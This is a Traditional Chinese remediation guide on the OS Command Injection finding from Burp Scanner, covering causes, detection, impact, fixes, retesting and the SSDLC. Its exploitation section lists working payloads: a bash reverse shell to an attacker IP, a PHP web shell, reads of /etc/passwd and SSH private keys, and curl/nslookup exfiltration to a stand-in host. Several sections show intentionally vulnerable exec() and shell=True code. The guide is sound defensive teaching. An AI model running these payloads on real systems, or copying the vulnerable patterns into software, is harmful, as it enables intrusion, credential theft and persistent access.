[Burp Scanner Issue] 001 OS Command Injection 完整解析:成因、攻擊手法與安全修補指南
OS Command Injection(作業系統命令注入)在資安領域中幾乎是「最不應該出現、但現實中卻反覆出現」的漏洞之一。它的嚴重性不亞於 SQL Injection,但在許多開發團隊的意識中,卻常被低估,甚至因為「功能正常」而被忽略。
這個漏洞的危險之處在於它跨越了應用程式的邊界,直接觸及底層作業系統。一旦被成功利用,攻擊者不再受限於應用程式本身的功能範疇,而是能以伺服器身份執行任何系統命令——讀取敏感檔案、新增帳號、建立後門、或向內網發起橫向攻擊。這正是它在 Burp Scanner 中被標記為 High Severity 的主要原因。
一、這是什麼漏洞?
白話解釋
OS Command Injection 的核心問題是:應用程式在執行系統指令時,把使用者提供的資料直接拼接進命令字串,並透過 Shell 直譯器執行,卻沒有做足夠的驗證與隔離。
舉個具體例子:假設一個網站有個「Ping 測試」功能,前端讓使用者輸入 IP,後端程式碼這樣寫(Node.js 示意):
// ❌ 危險寫法
const { exec } = require('child_process');
const userInput = req.query.ip; // 使用者輸入,未驗證
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>, (err, stdout) => {
res.send(stdout);
});
當使用者輸入的不是合法 IP,而是 <code>8.8.8.8; cat /etc/passwd</code>,Shell 會把它拆解成兩個命令:
- <code>ping -c 4 8.8.8.8</code>
- <code>cat /etc/passwd</code>
兩個都會被執行,系統密碼檔案的內容就被吐回給攻擊者了。
漏洞本質
這個漏洞的本質是信任邊界的混淆:應用程式在建構命令時,沒有清楚區分「程式邏輯」和「使用者資料」,導致使用者資料被 Shell 當成命令邏輯來解讀。
與相近漏洞的差異
| 漏洞類型 | 注入目標 | 執行環境 |
|---|---|---|
| OS Command Injection | Shell 命令 | 作業系統層 |
| SQL Injection | SQL 查詢語句 | 資料庫層 |
| Code Injection | 應用程式語言(eval 等) | 應用程式執行環境 |
| LDAP Injection | LDAP 查詢 | 目錄服務層 |
OS Command Injection 的破壞力通常最大,因為作業系統層的權限往往超越資料庫或應用程式層。
二、Burp Scanner 為什麼會報這個問題?
偵測策略:主動掃描為主
Burp Scanner 對 OS Command Injection 的偵測主要依賴主動掃描(Active Scanning),被動掃描較難觸發此類問題。
Burp 會在可疑的輸入點(URL 參數、POST 表單欄位、HTTP Header、Cookie 值等)注入各種測試 Payload,並觀察回應行為來判斷是否存在注入點。
常見的偵測手法
Burp Scanner 通常使用以下幾種方式來偵測 OS Command Injection:
1. 時間延遲測試(Time-based Detection)
這是最常見也最可靠的偵測方式。Burp 注入像這樣的 Payload:
- Unix/Linux:<code>; sleep 10 #</code>、<code>|| sleep 10</code>、<code>& sleep 10 &</code>
- Windows:<code>& timeout /t 10</code>、<code>| timeout /t 10</code>
若伺服器回應時間明顯增加(例如延遲 10 秒),Burp 就會判定命令被執行。這種方法的優點是不依賴錯誤訊息,在 Out-of-Band 環境也適用。
2. 輸出回顯測試(Output-based Detection)
Burp 嘗試在命令中插入能產生固定輸出的指令,例如:
- Unix:<code>; echo BURP_CANARY_STRING</code>、<code>| id</code>、
<code> </code>whoami<code> </code> - Windows:<code>& echo BURP_CANARY_STRING</code>
若回應頁面中出現對應字串,Burp 會確認注入成功。
3. Shell 特殊字元模糊測試
Burp 會系統性地對輸入點注入各種 Shell 特殊字元,觀察回應是否出現錯誤訊息、行為改變或結構性差異:
; | || & && ` $() > >> < 換行符號(%0a)
4. Out-of-Band(帶外)偵測
當應用程式完全沒有回傳命令輸出時,Burp Pro 的 Collaborator 功能會讓伺服器主動向外發出 DNS 查詢或 HTTP 請求:
; nslookup $(whoami).attacker.burpcollaborator.net
若 Collaborator 收到請求,即確認命令執行成功。
重要提醒
Burp Scanner 的報告不等同於可穩定利用。 掃描器的判定是基於行為特徵,以下情況可能造成誤報(False Positive):
- 伺服器本身的網路延遲造成時間差誤判
- 應用程式碰巧在回應中回傳了類似 Canary 的字串
- WAF 或中間件篡改了請求/回應
所有 Burp 報告的 OS Command Injection 都應由資安人員進行人工驗證,確認是否真正可利用。
三、可能造成的風險與影響
OS Command Injection 被 Burp 標記為 High Severity,在 CVSS 評分中通常達到 9.0 以上,以下從多個面向說明實際衝擊:
機密性(Confidentiality)
- 讀取伺服器上的任意檔案(<code>/etc/passwd</code>、<code>.env</code>、設定檔、私鑰)
- 傾倒資料庫連線字串,進一步取得資料庫完整內容
- 取得雲端環境的 Instance Metadata(如 AWS EC2 的 IAM Token)
完整性(Integrity)
- 修改應用程式程式碼,植入 Web Shell
- 竄改系統設定檔,破壞應用程式正常運作
- 刪除或加密檔案(勒索軟體攻擊路徑之一)
可用性(Availability)
- 執行 <code>rm -rf /</code> 或大量消耗資源的命令,造成服務中斷
- 關閉關鍵服務或重啟系統
橫向移動(Lateral Movement)
應用程式伺服器通常位於 DMZ 或內網,攻擊者取得 Shell 後可利用伺服器作為跳板:
- 掃描內網其他主機
- 利用伺服器的內網憑證或信任關係,存取資料庫、儲存服務、內部 API
- 滲透至 Kubernetes 叢集、CI/CD 系統或程式碼倉庫
持久性(Persistence)
- 新增 SSH 公鑰至伺服器
- 設定 Crontab 定期執行惡意程式
- 安裝 Rootkit,即使漏洞被修補後仍保有存取權
即使執行命令的帳號權限受限(例如 <code>www-data</code>),攻擊者仍可透過本地提權漏洞或設定錯誤進一步擴大影響範圍。
四、常見成因
以下是工程師在開發過程中最常引入 OS Command Injection 的情境:
1. 直接拼接使用者輸入至命令字串
這是最根本的成因。開發者為了快速實現功能,直接使用字串拼接建構命令:
# ❌ Python 危險範例
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")
2. 使用 Shell=True 模式執行子程序
許多語言提供的子程序 API 有一個選項允許透過 Shell 執行,這讓 Shell 特殊字元生效:
# ❌ Python subprocess 危險寫法
import subprocess
subprocess.run(f"grep {user_input} /var/log/app.log", shell=True)
3. 呼叫外部工具時未隔離參數
應用程式需要呼叫外部工具(如 ImageMagick、ffmpeg、git、curl)時,直接將使用者輸入作為參數傳入,卻沒有用 Argument Array 隔離:
// ❌ Node.js 危險範例
const exec = require('child_process').exec;
exec(<code>ffmpeg -i ${req.body.inputFile} output.mp4</code>);
4. 對使用者輸入的信任過度依賴前端驗證
後端完全信任前端的下拉選單或 JavaScript 驗證,認為使用者只能輸入預期的值,沒有在後端做白名單驗證。攻擊者只需用 curl 或 Burp 直接發送惡意請求即可繞過前端限制。
5. 測試用的系統呼叫殘留至正式環境
開發或測試階段為了方便 Debug,直接加入了呼叫系統命令的功能(如執行 shell script、呼叫診斷工具),部署至正式環境時忘記移除。
6. 第三方套件或 CMS 插件引入的間接呼叫
應用程式本身可能沒有問題,但所依賴的第三方函式庫或 CMS 插件內部有不安全的命令呼叫。這類問題往往在 SCA(Software Composition Analysis)掃描時才被發現。
五、攻擊者可能怎麼利用?
攻擊思路概覽
攻擊者通常會按照以下流程逐步確認與利用 OS Command Injection:
階段一:偵察與確認
攻擊者首先找到所有將使用者輸入傳遞給後端的點,特別關注那些「看起來像是觸發伺服器動作」的功能,例如:檔案轉換、Ping/Traceroute 工具、報表匯出、DNS 查詢、系統健康檢查。
階段二:注入測試
從簡單的特殊字元開始,觀察回應是否有異常:
常用偵測 Payload(Unix/Linux):
# 時間延遲確認(若頁面慢 10 秒才回應,代表命令被執行)
; sleep 10
| sleep 10
&& sleep 10
%0a sleep 10 # 換行符注入
# 輸出回顯確認
; echo vulnerable123
| id
; whoami
<code>id</code>
$(id)
# Out-of-Band(需 Burp Collaborator 或自建 DNS Server)
; nslookup <code>whoami</code>.your-server.com
; curl http://your-server.com/$(id)
常用偵測 Payload(Windows):
& timeout /t 10
| timeout /t 10
& echo vulnerable123
& whoami
階段三:確認後擴大利用
一旦確認命令執行,攻擊者會嘗試:
# 確認環境資訊
; uname -a; id; pwd; env
# 讀取敏感檔案
; cat /etc/passwd
; cat /proc/self/environ
; cat ~/.ssh/id_rsa
# 建立反向 Shell(以 bash 為例)
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
# 植入 Web Shell(確保持久存取)
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
如何手動檢測
在人工驗證時,建議按照以下步驟:
- 用 Burp Suite 攔截請求,找出所有可疑輸入點(包含 Header 和 Cookie)
- 注入時間延遲 Payload,確認伺服器回應時間是否符合預期延遲
- 嘗試輸出回顯,確認命令結果是否出現在回應中
- 若前兩者皆無回應,使用 Burp Collaborator 進行帶外確認
- 記錄所有測試過程,包含 Request/Response,以便後續修補驗證
六、開發與維運團隊該怎麼修補?
6.1 短期補救措施
在正式修補完成前,可先採取以下緊急措施降低風險:
- WAF 規則強化:在 WAF 上加入規則,阻擋常見的 Shell 特殊字元組合(<code>;</code>、<code>|</code>、<code>&&</code>、
<code> </code><code>、</code>$()`)傳入可疑的 API 端點。但要注意,這只是緩解措施,有繞過風險。 - 流量監控與告警:在 SIEM 或 IDS 中設定規則,偵測包含 Shell 特殊字元的異常請求。
- 降低執行權限:確認應用程式執行帳號(如 <code>www-data</code>、<code>node</code>)的權限是否符合最小權限原則,避免攻擊者在注入後直接取得 root 權限。
- 暫時關閉高風險功能:若特定功能(如系統診斷工具)風險過高且非核心業務,評估暫時下架。
6.2 正確修補方式
原則一:完全避免使用系統命令(最優先)
大多數情境下,呼叫系統命令並非必要。以程式語言的原生函式庫替代:
// ❌ 危險:用命令列 ping
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>);
// ✅ 安全:用 Node.js 原生 DNS 函式庫
const dns = require('dns');
dns.lookup(userInput, (err, address) => {
// ...
});
# ❌ 危險:用命令列處理圖片
os.system(f"convert {user_file} output.png")
# ✅ 安全:用 Pillow 函式庫
from PIL import Image
img = Image.open(user_file_path) # 注意 user_file_path 仍需驗證是否為合法路徑
img.save("output.png")
原則二:使用 Argument Array,絕不透過 Shell 執行
若確實必須呼叫外部程式,使用 Argument Array 傳遞參數,讓作業系統直接 fork/exec,不經過 Shell 直譯器:
// ❌ 危險:透過 Shell 執行,Shell 特殊字元生效
const { exec } = require('child_process');
exec(<code>ffmpeg -i ${userInput} output.mp4</code>);
// ✅ 安全:Argument Array,不經過 Shell
const { execFile } = require('child_process');
execFile('ffmpeg', ['-i', userInput, 'output.mp4'], (err, stdout) => {
// Shell 特殊字元在這裡只是普通字串,不會被解讀
});
# ❌ 危險
import subprocess
subprocess.run(f"grep {keyword} /var/log/app.log", shell=True)
# ✅ 安全:列表傳參,shell=False(預設值)
subprocess.run(["grep", keyword, "/var/log/app.log"])
原則三:嚴格的白名單輸入驗證
若無法完全避免系統呼叫,在傳入命令前,對使用者輸入實施嚴格的白名單驗證:
# ✅ Python 白名單驗證範例
import re
def validate_ip_address(ip: str) -> bool:
"""只允許合法 IPv4 格式,拒絕所有其他字元"""
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
parts = ip.split('.')
return all(0 <= int(p) <= 255 for p in parts)
user_input = request.args.get('ip', '')
if not validate_ip_address(user_input):
return jsonify({'error': 'Invalid IP address'}), 400
# 此時才呼叫(且應搭配 Argument Array)
subprocess.run(['ping', '-c', '4', user_input])
6.3 長期預防建議
- 程式碼審查 Checklist:在 Code Review 的 Checklist 中加入「是否使用了 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code>」等危險模式的確認項目。
- SAST 工具導入:在 CI/CD Pipeline 中整合靜態應用程式安全測試(SAST),自動偵測危險的命令執行模式(如 Semgrep、Bandit、ESLint security plugin)。
- SCA 掃描:對依賴套件進行成分分析,確認第三方函式庫是否有已知的 Command Injection 漏洞。
- 容器最小化:以最小化的 Docker 映像執行應用程式,移除非必要的系統工具(如 <code>bash</code>、<code>nc</code>、<code>curl</code>),降低攻擊者可利用的工具數量。
- 開發者資安教育:定期對開發團隊進行 Secure Coding 訓練,讓大家瞭解「呼叫系統命令」是高風險操作,必須特別謹慎。
七、如何驗證是否修好?
修補完成後,應透過多種方式確認漏洞已被正確消除:
Burp Suite 重新掃描
在 Burp Scanner 中對修補後的端點重新執行主動掃描,確認不再觸發 OS Command Injection 的告警。若使用 Burp Enterprise,可在 CI/CD Pipeline 中整合自動掃描,確保每次部署後都能驗證。
手動驗證重點
- 重現原始 Payload:使用原本發現漏洞的 Payload,確認伺服器回應已正常,不再有時間延遲或命令輸出。
- 邊界測試:嘗試各種 Shell 特殊字元組合,確認白名單驗證是否足夠嚴謹。
- 繞過測試:測試 URL Encoding(<code>%3b</code>、<code>%7c</code>)、雙重編碼、Unicode 變體等,確認驗證邏輯沒有被繞過的空間。
- 確認使用 Argument Array:透過 Code Review 確認程式碼使用了安全的 API,而非依賴字串過濾。
日誌觀察
- 在修補後的測試期間,觀察應用程式日誌、WAF 日誌是否有異常請求被攔截
- 若有 IDS/SIEM,確認是否有針對 Shell 特殊字元的告警觸發
自動化測試
# 整合測試範例:確認命令注入 Payload 被拒絕
import requests
PAYLOADS = [
"; sleep 10",
"| id",
"&& whoami",
"<code>id</code>",
"$(id)",
"%0a id",
]
def test_command_injection_blocked():
base_url = "https://your-app.com/api/ping"
for payload in PAYLOADS:
response = requests.get(base_url, params={"ip": f"8.8.8.8{payload}"}, timeout=5)
# 確認請求在 5 秒內回應(排除 sleep 注入成功的情況)
assert response.elapsed.total_seconds() < 8, f"Possible injection with payload: {payload}"
assert response.status_code in [400, 422], f"Expected validation error, got: {response.status_code}"
八、從 SSDLC 角度,應該在哪個階段攔下來?
OS Command Injection 是一個在所有 SSDLC 階段都應該被關注的漏洞,但各階段的著力點不同:
Requirements(需求階段)
預防重點: 在定義功能需求時,就應明確規範哪些功能「不應使用系統命令呼叫」。若業務需求確實需要呼叫外部程式,應在需求文件中標記為高風險功能,並要求設計和實作時採用安全機制。
實務上,許多「Ping 工具」、「檔案格式轉換」等功能在需求階段就可以改用程式庫實作,完全避免系統呼叫的需求。
Design(設計階段)
預防重點: 進行威脅建模(Threat Modeling)時,識別所有需要呼叫外部程序的設計決策,並在設計文件中明確規範安全的呼叫方式(Argument Array、最小權限帳號、沙盒環境)。
設計時也應考慮是否需要針對此類功能設計額外的存取控制層,確保只有授權使用者才能觸發涉及系統呼叫的操作。
Implementation(實作階段)
最容易引入漏洞的階段,也是最重要的防禦點。
- 制定 Secure Coding Guidelines,明確禁止使用不安全的命令執行模式
- 進行 Peer Code Review 時,重點審查所有涉及 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code> 的程式碼
- 使用 SAST 工具(如 Semgrep、Bandit)在開發階段即時偵測危險模式
Verification(驗證階段)
最容易被發現的階段。
- 執行 DAST 掃描(如 Burp Scanner、OWASP ZAP)對所有輸入點進行自動化測試
- 安排 Penetration Testing,由資安人員人工驗證高風險功能點
- 在 CI/CD Pipeline 中整合自動化安全測試,確保每個 PR 都通過基本的安全檢查
Deployment(部署階段)
預防重點: 確保部署環境遵循最小權限原則:
- 應用程式執行帳號只有必要的系統權限
- 容器映像移除不必要的系統工具
- 啟用 AppArmor 或 Seccomp Profile,限制容器可執行的系統呼叫
Operations(維運階段)
預防重點: 建立持續監控機制:
- WAF 規則定期更新,涵蓋最新的繞過手法
- SIEM 告警規則偵測異常的系統命令執行行為
- 定期進行安全掃描(週期性 DAST),確保新功能沒有引入新的注入點
- 建立漏洞回報與修補的 SOP,確保發現問題時能快速處置
最佳預防時機: Requirements → Design → Implementation(越早越好)
最容易發現時機: Verification → Operations
九、這個漏洞常見的誤解
誤解一:「Burp 掃到了,但我們有 WAF,應該沒問題」
WAF 是一層重要的防禦,但不是萬靈丹。攻擊者有許多繞過 WAF 的手法,包含 URL 編碼、大小寫混用、使用替代的 Shell 語法(如 <code class="kb-btn">${IFS}</code> 替代空格)。
正確的做法是修復根本原因(使用安全 API、實施白名單驗證),而不是依賴 WAF 來遮掩問題。
誤解二:「掃描器說是 High,但應用程式只是一個內部工具,沒有對外開放」
即使是內部工具,OS Command Injection 仍然危險。內部使用者(包含被攻擊的內部帳號、或透過 VPN 進入的攻擊者)都可能利用這個漏洞。許多大型資安事件的起點,正是一個「不重要的內部工具」。
誤解三:「我們做了輸出編碼,所以是安全的」
輸出編碼(Output Encoding)是防禦 XSS 的手段,不能防禦 OS Command Injection。這兩者是不同的漏洞,需要不同的防禦機制。防禦 OS Command Injection 的核心是輸入驗證和使用安全 API,而非輸出編碼。
誤解四:「掃描有報不代表真的可以利用,先放著沒關係」
時間延遲型的 Command Injection 確認方式已相當可靠,「有報有原因」是基本原則。即便在極少數的誤報情況下,也應該花時間人工確認並關閉。把高風險漏洞列為「待確認」而長期擱置,是許多企業資安事件的共同前因。
十、重點整理
- OS Command Injection 的根本成因是信任邊界的混淆:應用程式將未驗證的使用者輸入傳遞給 Shell 直譯器,讓使用者資料被當成命令邏輯執行。
- 修補的最優先策略是完全避免系統命令呼叫,改用程式語言的原生函式庫;若必須呼叫外部程式,應使用 Argument Array,絕對不透過 Shell 傳遞命令字串。
- Burp Scanner 的高嚴重性報告需要人工驗證,但絕不應因此而輕忽——時間延遲型偵測的可靠度相當高,誤報率低。
- 從 SSDLC 角度,預防 OS Command Injection 最有效的階段是 Requirements 和 Implementation,越早在設計上排除「使用系統命令」的需求,修補成本越低。
- WAF、最小權限、容器隔離都是重要的縱深防禦層,但不能取代根本的程式碼修補——安全的架構需要多層防線同時到位。
十一、參考對照
| 項目 | 內容 |
|---|---|
| Burp Scanner Issue Name | OS command injection |
| Severity | High |
| Type Index (Hex) | 0x00100100 |
| Type Index (Dec) | 1048832 |
| CWE-77 | Improper Neutralization of Special Elements used in a Command (‘Command Injection’) |
| CWE-78 | Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CAPEC | CAPEC-248: Command Injection |
| 參考資源 | Web Security Academy: OS command injection |